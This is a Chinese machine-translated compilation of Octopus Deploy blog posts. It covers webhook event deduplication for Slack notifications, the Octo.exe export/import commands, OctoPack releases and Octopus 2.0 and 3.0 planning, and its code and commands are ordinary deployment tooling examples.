虽然我们尽一切努力确保事件只发送一次到给定的电子邮件或 webhook 订阅，但我们不能提供任何保证，并建议您在设计消费 API 时牢记这一点。
在这种情况下，重复的时差通知会造成混乱。但是，没有理由忽视 doco 中的指导！让我们添加一些逻辑来确保每个事件只处理一次。Firestore 数据库支持事务，因此我们将使用它来确保我们不会处理数据库中已经存在的任何事件。
function checkForDuplicate(payload) {
return db.runTransaction((transaction) => {
const eventReference = db.collection("deployments").doc(payload.Event.Id);
return transaction.get(eventReference).then((eventDoc) => {
if (eventDoc.exists) {
return Promise.reject({
code: 200,
message: `Event ${payload.Event.Id} has already been processed.`
});
}
transaction.set(eventReference, payload);
console.log("Document written with ID: ", payload.Event.Id);
return payload;
});
});
}
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
return authorizeRequest(req, res)
.then(getPayload)
.then(checkForDuplicate)
.then(loadMappings)
.then(createSlackOptions)
.then(sendSlackMessage)
.then(() => { return res.status(200).send(); });
});
处理拒绝
您可能已经注意到在函数中出现了一些对 Promise.reject 的调用。你可能也注意到了，我们在任何地方都不处理这些拒绝。
在我们的拒绝中，我们发送回一个带有代码和消息的对象。我们可以在处理拒绝时检查该格式。如果匹配，我们将使用该代码和消息。如果没有，我们将发回一个普通的错误请求响应。
function handleRejection(res, reason) {
if (reason.message) {
console.warn(reason.message);
return res.status(reason.code).send(reason.message);
}
console.warn(reason);
return res.status(400).send();
}
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
const sendOkResponse = () => { return res.status(200).send(); };
const callHandleRejection = (reason) => {
return handleRejection(res, reason);
}
return authorizeRequest(req, res)
.then(getPayload)
.then(checkForDuplicate)
.then(loadMappings)
.then(createSlackOptions)
.then(sendSlackMessage)
.then(sendOkResponse)
.catch(callHandleRejection);
});
包裹
就是这样！我们从零开始，构建了一个 webhook 函数，它不仅为所有生产部署发送 Slack 通知，还将它们路由到适当的通道。
我希望这对你有帮助。我已经将示例负载和函数文件保存在了 Github 的中。
请在评论中留下您的反馈或问题。如果你在订阅和网页挂钩方面取得了成功，请与我们分享你的故事！
使用 Octo.exe-八达通部署的进出口项目和发布
Octo.exe，自动化 Octopus 部署的命令行工具，现在有两个新命令:export和import
这些命令可以用于在不同位置部署多个 Octopus 服务器的场景。例如，一台 Octopus 服务器用于设置和测试新项目，然后在位于完全不同的隔离网络上的另一台生产服务器上创建项目。以前，如果您想要同步两台服务器，您必须手动重新创建您已经在测试服务器上创建的项目和发布。
目前我们支持导出和导入:
- 项目和任何依赖项
- 项目的一个版本或一系列版本
出口
导出项目
让我们假设您在测试 Octopus Deploy 服务器上设置和部署了以下项目，并且您想要将 Octopus FX Rate 服务项目复制到您的生产 Octopus Deploy 服务器上。
要导出 OctoFX 利率服务项目，您可以在命令提示符下执行以下命令:
octo export --server=http://octopusserver/ --apiKey=API-EXPORTERAPIKEY --type=project --name="OctoFX Rate Service" --filePath="C:\path\to\export\file.json"
该命令将连接到 Octopus 服务器，获取所有信息，并将其写入 JSON 文件。你可以在文档中了解更多关于文件的内容。
导出项目的一个版本或一系列版本
要导出 OctoFX 利率服务项目的版本，您可以在命令提示符下执行以下命令:
octo export --server=http://octopusserver/ --apiKey=API-EXPORTERAPIKEY --type=release --project="OctoFX Rate Service" --releaseVersion=2.7.2067 --filePath="C:\path\to\export\file.json"
或者对于一系列版本:
octo export --server=http://octopusserver/ --apiKey=API-EXPORTERAPIKEY --type=release --project="OctoFX Rate Service" --releaseVersion=2.7.2063-2.7.2067 --filePath="C:\path\to\export\file.json"
该命令将连接到 Octopus 服务器，获取发行版，并将其写入 JSON 文件。你可以在文档中了解更多关于文件的内容。
进口
导入项目
当将项目导入另一个 Octopus Deploy 服务器时，要导入的 Octopus Deploy 服务器中必须已经存在以下内容:
- 项目使用的项目组
- 项目中使用的环境
- 项目中使用的机器
- 项目中使用的 NuGet 提要
- 项目中使用的库变量集(如果有)
一旦满足了这些先决条件，要导入我们在上一个示例中导出的 OctoFX Rate 服务，您需要在命令提示符下执行以下命令:
octo import --server=http://octopusserver --apiKey=API-IMPORTERAPIKEY --type=project --filePath="C:\path\to\export\file.json"
如果缺少一个先决条件，输出应该类似于项目导入输出当缺少先决条件时
否则，输出应该类似于项目导入输出
如果项目中有标记为Sensitive(即密码)的变量，您将在输出中收到一条警告，通知您必须通过 UI 更新该值才能使用，因为我们不导出敏感变量的值。
在 Octopus Deploy 中，您现在应该可以看到您导入的项目。
导入版本/版本范围
当导入一个版本或一系列版本时，项目必须存在于运行导入的 Octopus Deploy 上。
要为项目导入一个版本或一系列版本，您可以运行以下命令:
octo import --server=http://octopusserver/ --apiKey=API-IMPORTERAPIKEY --type=release --project=projectname --filePath=C:\path\to\export\file.json
输出应该类似于发布导入输出
如果您现在转到项目页面上的 Release 选项卡，您应该会看到刚刚导入的新版本。
摘要
希望您会发现这是一个在 Octopus 服务器之间迁移项目/发布的有用工具。虽然这个工具可以用于许多场景，但是您的场景很可能会有所不同。请记住Octo.exe 是开源的——可以随意使用它作为起点，并定制和扩展它以满足您的需求。
Octopus Deploy + TeamCity 网络研讨会-2 月 12 日- Octopus Deploy
您可能熟悉在 TeamCity 中构建和测试代码，但是您如何部署构建的工件呢？您如何在开发、测试、试运行和生产环境之间提升您的部署，同时保持流程的可靠性、自动化和安全性？Octopus Deploy 可以帮助解决这个问题，通过与 TeamCity 集成，将您的更改推出到生产中。
在本节课中，Paul 将使用 Octopus Deploy 和 TeamCity 介绍构建、测试、打包 ASP.NET web 应用程序和 Windows 服务并将其部署到不同环境中的过程。本次免费网络研讨会将于 2 月 12 日星期二欧洲中部时间 15:00–16:00 举行。空间有限；请立即注册。
十月社区综合报道-八达通部署
十月对社区来说是一个巨大的月份，我收集的伟大的博客帖子比以往任何时候都多。所以现在开始。
首先是 11 月 3 日的芝加哥 ALM 用户组。如果你在这个地区，你可以去听听伊恩·鲍林关于 PowerShell 和 Octopus Deploy 的演讲。感谢安吉拉(又名奥克帕克女孩的主持！)
紧接着上个月的 WinOps 会议，也是在 11 月 3 日， WinOps 伦敦正在举办它的第一次会议。主题是混沌工程。我知道他们正在进行一些很棒的基础设施自动化，因此非常值得一试。
说到 WinOps 大会，来自devopsgoys的 Mani 和 Matt 发布了他们的活动幻灯片，用 Octopus Deploy 将应用部署到云。马尼这个月也在他自己的博客上忙着，一篇关于用 Octopus 部署和配置 Click Once 应用，另一篇关于开发人员和数据库管理员以及构建部署管道。
另一个一直在写风暴的人是肯·罗斯。他有两个大章鱼部署相关的帖子。一篇关于使用 XPath 进行定制配置设置(技术上讲，那是九月份的文章，但是我上个月错过了，这是一个很棒的技术)，另一篇关于部署 SSIS 项目。
进行任何 CMS 部署吗？我们有几个不错的帖子，一个是迈克尔·金凯德的部署肯蒂科，另一个是戴夫·利的 Sitecore。
Anthony Shaw 写了一个集成包来让 Octopus 部署 StackStorm 的工作，并写了一篇关于 stack storm 的博客文章。布伦特·蒙塔古还提供了一份最新的厨师食谱，用于在你的服务器上安装触手。
Phillip Haydon 写了一篇关于使用脚本 CS 来压缩一堆资产作为 S3 部署的一部分的帖子，非常酷！
同样酷的还有托马斯·扬松的帖子，关于使用假的，AppVeyor 和 Octopus Deploy 来构建和部署到 Azure。
史蒂夫·芬顿(你可能记得他几个月前的电子书)写了一篇文章，比较 Octopus Deploy 与承包商编写脚本来自动化部署的成本......谢谢史蒂夫！(我们可能写不出来，但我很乐意链接到它！)
最后，Domain 的家伙们在他们的技术博客上发布了一个关于使用percept 对他们的许多 PowerShell 脚本进行单元测试的新帖子。我最后提到他们的原因是，来自 Domain 的杰森和杨奇煜在很多事情上与我们合作得非常好，我想给杨奇煜的新 Pluralsight 课程“与 psake 和 TeamCity 的持续集成”一点刺激。如果您是 CI 新手，并希望能够为 Octopus 生成 Nuget 包，请去查看一下(Domain 每天都在构建许多包，所以他们对自己在做什么有所了解)。
如果你已经通过电子邮件或 Twitter 发表了博客文章，别忘了让我们知道。我们喜欢阅读你在做什么，我们总是很乐意与世界分享！
OctoPack 3.0 - Octopus 部署
我们刚刚发布了 OctoPack 的新版本，有一些大的变化。如此之大，事实上，我们称之为 OctoPack 3.0！
第一个变化是，在打包二进制文件时，我们习惯于将所有文件放在$(OutDir)下。默认情况下，TFS 将所有项目的输出发送到同一个目录，这意味着 OctoPack 无法判断哪个文件是哪个项目的。由于马克斯·马卢克的拉请求，我们已经改为使用@(FileWrites)和@(FileWritesShareable)。你可以在 MSDN 上了解更多关于这些房产的信息。最终的结果是，OctoPack 应该更适合 TFS 用户。
第二个主要变化是 OctoPack 不再需要签入版本控制。也就是说不再有了。使用 NuGet 包还原时的 octopack 文件夹！我们正在使用与微软相同的方法。Bcl.Build 用途。当你安装 OctoPack 时，你会得到下面的<Import>:
<Import Project="..\packages\OctoPack.3.0.19\tools\OctoPack.targets" Condition="Exists('..\packages\OctoPack.3.0.19\tools\OctoPack.targets')" />
这样，当 NuGet package restore 尚未运行而目标丢失时，您仍然可以加载项目。
但是，如果调用了 OctoPack，而还没有运行 NuGet 包恢复，那么显然我们什么也包不了。所以我们还添加了一个<Target>,它将导致构建失败，除非您首先运行 NuGet package restore:
<Target Name="EnsureOctoPackImported" BeforeTargets="BeforeBuild" Condition="'$(OctoPackImported)' == ''">
<Error Condition="!Exists('..\packages\OctoPack.3.0.19\tools\OctoPack.targets') And ('$(RunOctoPack)' != '' And $(RunOctoPack))" Text="You are trying to build with OctoPack, but the NuGet targets file that OctoPack depends on is not available on this computer. This is probably because the OctoPack package has not been committed to source control, or NuGet Package Restore is not enabled. Please enable NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=317567." HelpKeyword="BCLBUILD2001" />
<Error Condition="Exists('..\packages\OctoPack.3.0.19\tools\OctoPack.targets') And ('$(RunOctoPack)' != '' And $(RunOctoPack))" Text="OctoPack cannot be run because NuGet packages were restored prior to the build running, and the targets file was unavailable when the build started. Please build the project again to include these packages in the build. You may also need to make sure that your build server does not delete packages prior to each build. For more information, see http://go.microsoft.com/fwlink/?LinkID=317568." HelpKeyword="BCLBUILD2002" />
</Target>
现在，当在 Team Build 或另一个 CI 工具下运行 OctoPack 时，这会带来一些问题，特别是如果构建服务器被配置为在构建开始之前清理所有文件(包括 NuGet 包)的话。它还会影响使用虚拟生成代理的 Team Foundation 服务。但这不仅仅是 OctoPack 的问题；也影响到了Microsoft.Bcl.Build用户。最佳解决方案是在构建解决方案之前运行 NuGet 包恢复。对于 TFS 用户，NuGet 团队的这篇文章展示了如何在构建之前运行 NuGet 包恢复。TeamCity 客户可以使用内置的 NuGet 安装程序 runner。
最后，修复了许多小错误，并添加了一些其他功能:
- 34——我们现在读
AssemblyInformationalVersion，回到AssemblyVersion，当决定一个包使用什么版本的时候(如果你没有通过/p:OctoPackPackageVersion=XYZ) - 你现在可以将自定义的
<files>与我们自动检测和添加的文件结合使用，而不是选择任何一个 - 你现在可以在打包时将自定义属性传递给 NuGet
这些变化大部分来自社区的拉请求，其中一些已经等待了相当长的时间。感谢每一个为 OctoPack 提交 PR 的人；从现在开始，我们会更加积极地复习它们。
OctoPack 2.0 - Octopus 部署
当开始使用 Octopus Deploy 时，人们经常会在最初的步骤中遇到困难:将他们的应用程序打包成 NuGet 包。为了更容易地创建包，我们在我们的 NuGet 打包助手 OctoPack 中实现了一些大的改变，创建了octo pack 2.0 版。
最大的变化是我们现在让调用 OctoPack 变得更加容易和简单。您只需运行:
msbuild YourSolution.sln /t:Build /p:RunOctoPack=true
OctoPack 将只使用相关文件自动打包您的应用程序(例如，web 应用程序的内容文件和二进制文件)。这是对 OctoPack 1.0 的一个很大的改进，因为你不再需要独立地构建每个项目(我们正在构建上面的解决方案)，并且你不再需要处理 web 应用程序项目发布了——octo pack 会处理它。
我们还实现了其他一些改进:
- 您不再需要创建 NuSpec 文件——如果不存在，我们会自动生成它
- 您可以从我们打包时包含的文件中添加发行说明
- 卸载时，我们现在删除目标文件
有关 OctoPack 2.0 的更多信息，请查看自述文件。我将在博客上发布一些如何在团队城市和 TFS 中使用 OctoPack 2.0 的例子，但在此之前，我希望这些变化能让你更容易地为 Octopus 打包应用程序。愉快的部署！
OctoPack 现在支持汇编版本- Octopus Deploy
原文：https://octopus.com/blog/octopack-supports-assembly-version
当使用 OctoPack 时，构建的 NuGet 包将默认为版本 1.0.0。这可以通过传递以下命令从 MSBuild 命令行重写:
/p:OctopusPackageVersion=2.0.0
这在使用生成版本号的构建工具时工作得很好，因为您通常可以将参数传递给 MSBuild。
前段时间在 GitHub 上开了一个问题来增加对此的支持:
[assembly: AssemblyVersion("1.0.*")]
我不知道不添加自定义任务来解决这个问题的方法，但是安德烈发布了一个使用getassemblyideentityMSBuild 任务的例子。感谢 André，OctoPack 1.0.99 现在将从主输出程序集读取版本号，如果它没有被从命令行传递的/p:OctopusPackageVersion覆盖的话。
你可以在 GitHub 上查看差异。
Octopus 1.4 更新了变量、克隆项目和其他修正- Octopus 部署
原文：https://octopus.com/blog/octopus-1.4-updating-variables-and-more
Octopus Deploy 1.4 刚刚发布。它包括许多错误修复，以及对我们调用 PowerShell 脚本的方式的改进。
在这个版本中，我们还实现了一些我们已经有一段时间的最受欢迎的功能请求。
更新发布变量
查看版本时，您现在可以更新版本中的变量:
点击此按钮将当前项目变量重新快照到版本中。如果您的某个步骤有新的变量，而这些变量在发行版中并不存在，那么这些变量将被跳过。还将捕获一条审计消息，以跟踪变量被更新的事实，以及由谁更新的。
只有在安装 Octopus Deploy 1.4 之后创建的版本才支持该特性，因为它需要对模式做一个小的更改，以允许导入变量。
克隆项目
需要复制一个项目？只需转到项目设置选项卡，然后单击此按钮:
禁用机器
有时，一台机器可能会暂时停机，而您不想在其上部署软件。现在，您可以禁用它，而不是删除它或将其移动到一个虚假的环境中:
禁用的计算机不会用于部署，也不会用于运行状况检查/升级。
愉快的部署！
带有 Azure 和 FTP 部署的 Octopus 1.5，加上 ScriptCS 支持！-章鱼部署
今天，我们发布了 Octopus Deploy 1.5，它支持自动部署 Windows Azure 云服务，以及通过 T2 FTP/FTPS 进行部署。
Azure 云服务部署
通过将您的云服务包打包到 NuGet 包中，Octopus 现在可以使用新的部署步骤类型自动将您的应用程序部署和升级到 Windows Azure。
对 Azure 的支持包含一些很酷的特性:
- Octopus 可以在部署前自动配置您的
.cscfg - Octopus 可以保留已经在 Azure 门户上定义的实例计数，或者使用来自您的
.cscfg的新值
你可以在我们关于 Windows Azure 特性的文档页面上了解更多关于这些特性的信息。
Azure 部署不需要触手；该包直接从 Octopus 服务器部署。
FTP/FTPS 部署
Octopus 还可以通过 FTP/FTPS 部署，这意味着 Octopus 现在可以与各种商业网站主机以及 Windows Azure 网站一起工作。
与 Azure 部署步骤一样，这个步骤是在 Octopus 服务器上执行的，因此不需要任何触手。Octopus 仍将执行 XML 配置转换并运行 PowerShell 脚本，因此您可以在部署之前应用特定于环境的配置。
在 Octopus FTP 文档页面上了解更多信息。
剧本
ScriptCS 是一个开源项目，允许你用 C#编写脚本。在 Octopus 中，它是 Windows PowerShell 的替代品。
例如，在您可能使用了Deploy.ps1的地方，您可以使用Deploy.csx(一个 ScriptCS 脚本)。Octopus 将调用你的脚本的脚本代码。
与 PowerShell 脚本一样，Octopus 使您的项目变量(以及内置变量)可用于您的 ScriptCS 脚本。例如，此脚本将打印要部署到的环境的名称:
using System;
Console.WriteLine("Deploying to: " + Octopus.Parameters["OctopusEnvironmentName"]);
改进封装步骤选项
当将 NuGet 包部署到触手时，您可以定义所谓的“特殊变量来配置设置，比如将包提取到哪里，或者更新 IIS 站点的名称。
现在，这些设置已被移到步骤定义页面，使它们更容易查找和设置:
不同的环境需要使用不同的设置？您可以使用变量替换语法和我们新的变量插入下拉菜单:
了解更多信息:3 月 28 日的网络研讨会
这个版本还包括许多错误修复和可用性改进。如果您想了解更多信息，请参加我们 3 月 28 日的免费网络研讨会。
愉快的部署！
Octopus Deploy 2.0 API 更改- RFC - Octopus Deploy
Octopus Deploy 拥有 RESTful HTTP API 已经有一段时间了，可从以下网址获得:
http://<your-octopus-server>/api
该 API 主要是为了增强 Octo.exe 的功能而构建的，这是一个用于创建和部署版本的命令行工具。除了机器、版本和部署之外，大多数现有 API 都是只读的。当我们在 Octopus UI 中引入新的特性时，它们并不总是能融入到 API 中；公平地说，API 实际上是一个二等公民。
对于 Octopus Deploy 2.0，我们将对我们的 UI 做一些大的改变，我在 UI 设计以实现最终一致性中写了博客。我想确保 Octopus 即使在非常大的装置上也能感觉快速和流畅。此外，我们经常收到功能请求，要求能够在 API 中做一些我们目前只能通过 UI 做的事情。
因此，对于 2.0 版本，我们将使我们的 API 成为一等公民。UI 将利用 API 这意味着 UI 中的大多数交互将通过 API 发出异步请求，而不是直接发送到 MVC 控制器。
由于 API 得到了如此多的关注，我们也将在重新构建它时对它进行适当的文档化。为此，我在 GitHub 上创建了一个项目:
章鱼部署-API 在 GitHub 上
这个项目目前还很少，但是你会发现有一部分是关于认证和我们使用链接导航 API 的方式。
如果您正在基于 Octopus API 进行构建，或者打算这样做，我建议您遵循这个存储库，并通过文档中的问题/拉请求提供反馈。
八达通 2.0 进度更新-八达通部署
Octopus 2.0 不仅仅是几个新功能；这实际上是一次彻底的重写。目前，我们的大部分功能都运行良好，但仍有一些缺失部分(主要围绕安装/配置)和可用性问题，因此我们一直在向一些用户发布“手持”预览版本，以开始获得反馈。
展望未来，2.0 的推广计划如下所示:
现在，我们正在整理一些错误，以做最后的实际操作预览版。然后，我们将继续完成私有测试版(beta 1)所需的所有项目。
Beta 2 将是第一个公开发布的版本，到那时我们希望有一些东西可以用于日常使用，即使有一些小错误，没有迁移工具。我们会给它一些时间来适应和成熟，并从 1。在我们宣布它“生产就绪”之前。
我将给你留下一个新的触手设置向导的截图:
八达通 2.0 RC -八达通部署
今天，我很兴奋地宣布我们发布了 Octopus Deploy 2.0.5.933，我们称之为 Octopus Deploy 2.0 候选版本(RC) 。你可以从下载页面下载这些位！
自从上一次公开测试以来，我们已经修复了一些错误，并添加了一个迁移工具来从 Octopus 1.6 实例中导入数据。
为什么我们称之为发布候选？因为我们认为它基本上是章鱼部署 2.0 T1，没有一些最后的润色。事实上，在我们的 2.0 列表中已经没有多少 T2 问题了。它们大多只是与润色和负载测试有关。
这个可以生产了吗？
是的！
我们有信心，虽然可能有一些边缘情况的错误，章鱼 2.0 钢筋混凝土已准备好严重的生产部署。此外，让我们面对它，章鱼 1.6 也有自己的 bug 和性能问题，其中大部分在 2.0 中得到修复。我们一直在使用这个版本的 Octopus 来测试和部署 Octopus 本身，以及 OctopusDeploy.com 网站和一些测试项目。
请注意从现在开始 1.6 分支将不再有任何维护版本。
更多文档
文档也在本周得到了彻底的修改，我很自豪地说，它比 Octopus 1.6 文档要广泛得多。我们现在使用 Confluence 来托管文档，这是一个很好的体验。 查看 Octopus Deploy 2.0 的更新文档
新网站
OctopusDeploy.com 网站本周也得到了一些人的喜爱，我们通过布伦特里而不是 FastSpring 接受订单。如果您发现任何断开的链接或页面，请告诉我们！
下一步是什么？
我们将在一月份完成 Octopus 2.0 的最后一个任务，这个任务将使这个版本脱离 RC 状态，进入 RTW 状态，目标是在一月底发布 Octopus 2.0。
愉快的部署！
Octopus 2.0 及以后的路线图- Octopus 部署
我刚刚给我们的邮件列表用户发了一封电子邮件，询问反馈和想要尝试 Octopus 2.0 的早期用户。如果你不在邮件列表上或者没有收到邮件，你可以参加这里的简短调查。
2.0 的愿景
在计划 Octopus 2.0 中，我分享了一些我们对 2.0 版本的愿景:
我们不打算完全重写所有的东西，因为那是个坏主意。但与此同时，2.0 将会有所不同。1.0 是一个很好的方式来学习更多我们试图用 Octopus 解决的问题，2.0 是我们应用这些经验的地方。Octopus 2.0 将是其他人已经开发的产品。
我们希望在接下来的 6-12 个月内构建许多重要功能，但它们并不完全符合我们现有的架构。Octopus 的架构在 Octopus 1 上运行良好。但是当我们看着地平线上的章鱼 2。x 可能是，我们有许多内部变化要做，以支持他们中的许多人。自从 Octopus 第一次被设计出来，我们已经学到了很多关于自动化部署应该如何工作的知识，所以我们咬紧牙关，在过去的几个月里，我们一直忙于重构。我们所做的最大改变是:
- 重写我们的服务器/代理通信栈，以在 Mono 上工作并支持基于推和拉的部署
- 创建一个强大而广泛的 RESTful API
- 重写我们的 UI，使其完全依赖于 REST API——当 2.0 发布时，你在 UI 中可以做的事情，都可以通过 REST API 来完成
- 对步骤和变量建模和存储方式的重大改变，让您更容易地在项目/环境之间共享它们
最初，我设想我们会做出这些改变，然后在这些改变的基础上添加一堆特性，并把它称为 2.0。相反，我们将:
- 尽可能快地将我们所拥有的发送给一小部分人(这就是调查的目的)
- 擦亮它
- 释放它
一旦 2.0 稳定并发布，我们将尝试回到两周发布一次的节奏，一次添加一两个特性。
什么流行什么不流行？
我们的 Trello 板已经更新，让你更好地了解什么是在和什么是未来。这是 Octopus 2.0 中将要出现的内容:
这是我们计划在 Octopus 2.0 发布后发布的公告板:
Octopus 2.0 仍将是一个大版本，但它不会像我最初想象的那么大，这至少意味着我们将能够很快推出它。毕竟，不在真实用户手中的软件不会变得更好。
Octopus 2.0 任务输出:RFC - Octopus 部署
对于 Octopus 2.0 ，我们对如何执行长时间运行的部署任务，以及如何与我们的远程代理通信做了很多改变。作为这项工作的一部分，我想给我们的任务输出页面一点爱和关注。
背景
作为一个部署服务器，Octopus Deploy 编排了许多长期运行的任务。我们执行的任务示例包括:
- 部署
- 检查机器是否响应(运行状况检查)
- 升级代理服务
- 内部数据库备份
这些任务不仅仅是按顺序执行的；它们中的大多数并行执行各种活动。我们并行下载 NuGet 包，并行上传到机器上，并行安装到远程机器上。以用户友好的方式交流正在发生的事情是很重要的。
目前，部署详细信息页面分为步骤的基本摘要和日志条目的分层树。
任务摘要
我们要做的第一件事是将这两者结合到一个视图中，这将是您查看任务时看到的默认内容。我们不会给你一堆日志来看，我们会显示进度条和正在发生的事情的摘要。
任何错误、警告或“警报”消息也会显示在这里，因此您不必浏览日志来查看哪里出错了:
顶部将有一个简单的进度条，它将根据部署的各个部分之前花费的时间以及到目前为止花费的时间来估计部署需要多长时间(即，我们将使用实际数字来表示已经完成的部分，而对于未完成的部分，我们将根据之前的运行来猜测):
任务日志
当然，有时候你必须深入研究，看看哪里出了问题。下一个选项卡提供了完整的部署日志，就像我们之前所做的一样:
我们在这里做了一些改变:
- 我们将以一致的时区显示日期
- 我们将把日期放在右边，以便更容易阅读信息
其他事情
其他选项卡包括:
- 工件(我在那些模型中错误地使用了“附件”)，这是一个很酷的概念，我将在以后的帖子中讨论
- 历史记录，它将向您显示谁安排了任务、谁取消了任务等等的详细信息
在 Octopus 中查看部署/任务时，您还希望看到哪些信息？在部署过程中，您希望能够捕获的哪些其他信息，以便在此展示？
Octopus 2.0 UI:角度、咕噜声和响应性- Octopus 部署
原文：https://octopus.com/blog/octopus-2.0-ui-release-creation-angular-grunt-responsiveness
既然做出了大胆的决定，首先使用 API，我们就有了一个选择。我们可以重构旧的 Razor/C# HTML UI 来使用新的 API。或者，我们可以拥抱新的 API，在它的基础上为 Octopus 重新构建整个 UI，坦率地说，使用看起来更适合这项工作的工具。
对于 UI 堆栈，我们使用:
- Angular.js
- Twitter 引导和 Angular UI 引导
- 强调
- jQuery
事实上，在过去的一周里，我几乎没有去过 Visual Studio 我在 WebStorm 中编写所有代码，并使用 Grunt 构建应用程序。Grunt 在 Node 下运行，类似于 MSBuild。它:
- 将所有的 Angular HTML 模板编译成 JavaScript ( Html2JS )
- 将所有的 JavaScript 文件连接并缩小成一个文件(中性和丑陋任务)
- 合并和缩小 CSS 文件( CssMin )
最终结果是我得到了一个 HTML、CSS 和 JavaScript 文件，这就是 Octopus 应用程序。它指向一个 Octopus 2.0 服务器(Octopus 为 CORS 启用)。这带来了非常好的开发体验，也意味着我没有作弊——我必须像其他人一样使用公共 API 来构建 UI。
不管怎样，下面是一些截图。
下面是迄今为止在发布细节页面上取得的进展。你可以看到有些部分还没有出现。然而，一个改进是更清楚地显示是否可以找到 NuGet 包:
我一直在确保应用程序能随时响应。以下是同一屏幕不同尺寸的一些图像。
当创建发行版时，您现在可以选择使用在以前的发行版中使用的 NuGet 包。我还添加了一个基于 MarkItUp 的 markdown 编辑器:
当搜索旧包时，您现在可以通过预发行标签进行过滤，并包括发行说明:
随着章鱼 2.0 界面的发展，我会贴更多的截图，如果你有任何建议，请写在下面的框里:)
规划八达通 2.0 -八达通部署
当一种产品或技术被引入时，它开始会给人以新鲜和创新的感觉。随着时间的推移，它找到了市场并开始传播。最终你认识的人都在用。然后，最终，它开始消失。创新扩散理论提供了一种理解这一过程的方式，它通常被描述为一条钟形曲线:
在我们的行业中，整个生命周期可能只需要几年。现在，Octopus Deploy 正在这些创新者和早期采用者中寻找市场。事实上，我们最近被添加到评估类别的 ThoughtWorks 技术雷达中:
像 Chef 和 Puppet 这样的工具正在增加它们的支持，但是也有像 Octopus 这样的 Windows 专用解决方案正在开发中。Octopus 允许自动部署您的 ASP.NET 应用程序和 Windows 服务，并减少对 PowerShell 的依赖。它可以与使用 Octopak 的 NuGet 和 TeamCity 一起使用，以创建完整的构建、打包和部署管道。
当 Octopus Deploy 1.0 首次发布时，我们有一个非常基本的功能集——我们可以下载一个 NuGet 包，并将其推送到远程代理，并在一些非常基本的配置支持下运行 PowerShell 脚本。从那时起，我们增加了:
当我们第一次发布的时候，我期望 Octopus Deploy 被一些项目的客户使用，将它们部署到十几台机器上。我认为银行和财富 500 强不会靠近它。事实上，我们有客户使用 Octopus 将 200 多个项目部署到 300 多台机器上，并且被一些非常知名的品牌所使用。人们不只是在尝试，而是在认真地投入。
我们也学到了很多关于我们当前架构的权衡和限制以及可以改进的方法。有些功能是我们想添加的，但如果不重新访问应用程序的大部分，这些功能是不可能添加的。
什么是 2.0？
在这一点上，有一种诱惑就是坚持使用当前的架构。它可能不是完美的，但它的工作。我们可以在这里或那里添加一些小功能，称之为 2.0 版，而不用做任何太重要或太冒险的事情。然后我们会转向营销模式，希望创新扩散模式顺其自然，我们不用做太多工作就能成长。最终，别人会拿出更好的产品，而我们会逐渐消失。
我认为我们可以做得更好。
我们不会走得太远，以至于完全重写所有的东西，因为那是个坏主意。但与此同时，2.0 将成为不一样的。1.0 是一个很好的方式来学习更多我们试图用 Octopus 解决的问题，2.0 是我们应用这些经验的地方。Octopus 2.0 将是其他人已经开发的产品。
然而，落入第二系统效应陷阱的诱惑也是一样的:
当他设计第一件作品时，他想到了一个又一个的装饰和修饰。这些被储存起来以备“下次”使用第一个系统迟早会完成，而架构师带着坚定的信心和对该类系统的熟练掌握，准备构建第二个系统...总的趋势是过度设计第二个系统，使用所有在第一个系统中谨慎偏离的想法和装饰。
当然是在建造章鱼 1 的时候。有很多“如果我们只做了这个不同的事情，那个事情会更容易添加”的时刻。我希望我们能够解决其中一些问题，但不要走得太远。
2.0 的巨大变化
到目前为止，我们在 2.0 中所做的最大改变是 HTTP API 优先。服务器能做的一切都将通过 REST API 公开，web 用户界面将由 JavaScript 构建。还会有一个 C#客户端库，您可以使用它在 REST API 上提供友好的包装。
事实上，现在，Octopus 2.0 根本没有什么 UI；我通过最近在我的个人博客上写的自动化 API 测试套件完成了大部分工作。
由于 web 堆栈正在被重新访问，我们甚至重新评估了运行在 IIS 上的 ASP.NET MVC 的 Octopus 1.0 选择是否仍然有效。但事实并非如此。相反，Octopus 2.0 使用 Nancy ，自托管。当你安装 Octopus 2.0 时，只会有一个 Windows 服务；不会有 IIS 应用程序，你也不再需要在 Octopus 服务器上安装 IIS。这也为我们省去一大堆支持问题。
我们也在以不同的方式做其他事情。我们正在拥抱最终的一致性，所以一切都感觉真的快。我们正在设计新的用户界面，以便更好地为大量的项目、环境和机器服务。
我们也在做一些概念上的改变。这些不仅仅是新功能，而是思考世界的不同方式:
- 项目没有步骤列表，而是有一个部署过程,它提供了更多关于失败时做什么的控制。
- 我们正在引入对多租户部署的支持
- 您将能够创建全局变量、环境变量和项目组变量，所有这些都有多个作用域选项
- 我们将以完全不同的方式处理变量/步长快照
随着我们对构建 Octopus 2.0 的深入，以及我们对这些变化有了更好的理解，我会在博客上发布更多关于这些变化的细节。
什么时候？！
什么时候发货？一旦我们在 UI 上取得了更多的进展(REST API 现在看起来相当完整)，我们将尝试为想要尝试的人提供测试版下载。我希望我们能在八月底或九月底发布一些东西，但是当我们接近测试版的时候我们会知道更多。
Octopus 3.0:迁移器 RFC - Octopus 部署
章鱼 2.6 使用 RavenDB，而章鱼 3.0 使用 SQL Server 。当然，这意味着我们需要某种方法来帮助您将数据从 2.6 迁移到 3.0。既然我们在数据迁移上投入了如此多的精力，我们不妨让它成为一个特色:它也将成为一个通用章鱼 3.0 出口者和入口者。
迁移工具将支持以下四种情况:
- 将数据从 2.6 版导入 3.0 版服务器
- 从 3.0 服务器导出数据，并将其导入回 3.0 服务器
- 将 3.0 服务器中的数据拆分为两个或更多
- 将多个 3.0 服务器中的数据合并为一个
我们将导入和导出的数据限于“配置”风格的数据(例如，项目、环境、机器、部署过程、变量集、团队、NuGet 提要等等)。我们不打算支持导出历史数据(即发布、部署和审核事件)，但我们最终会从 2.6 备份中导入历史数据。
出口
exporter 工具将数据导出为目录中的 JSON 文件。
你能用这个出口做什么？
- 提交到 Git 库
我们尽可能地让 JSON 变得友好和可预测，这样如果您提交多个导出，唯一会出现的差异是已经做出的实际更改，比较这些更改将是显而易见的。 - 将其转移到新的 Octopus 服务器
您可以删除不想导入的文件(例如，如果您正在转移一个项目，只删除除该项目的文件之外的所有文件)，然后使用导入器将其导入。
虽然 JSON 文件包含 ID，但是在导入时，我们实际上使用名称来确定某些内容是否已经存在。这意味着您可以从多个 Octopus 服务器导出，将它们组合在一起，然后导入到单个 Octopus 服务器。
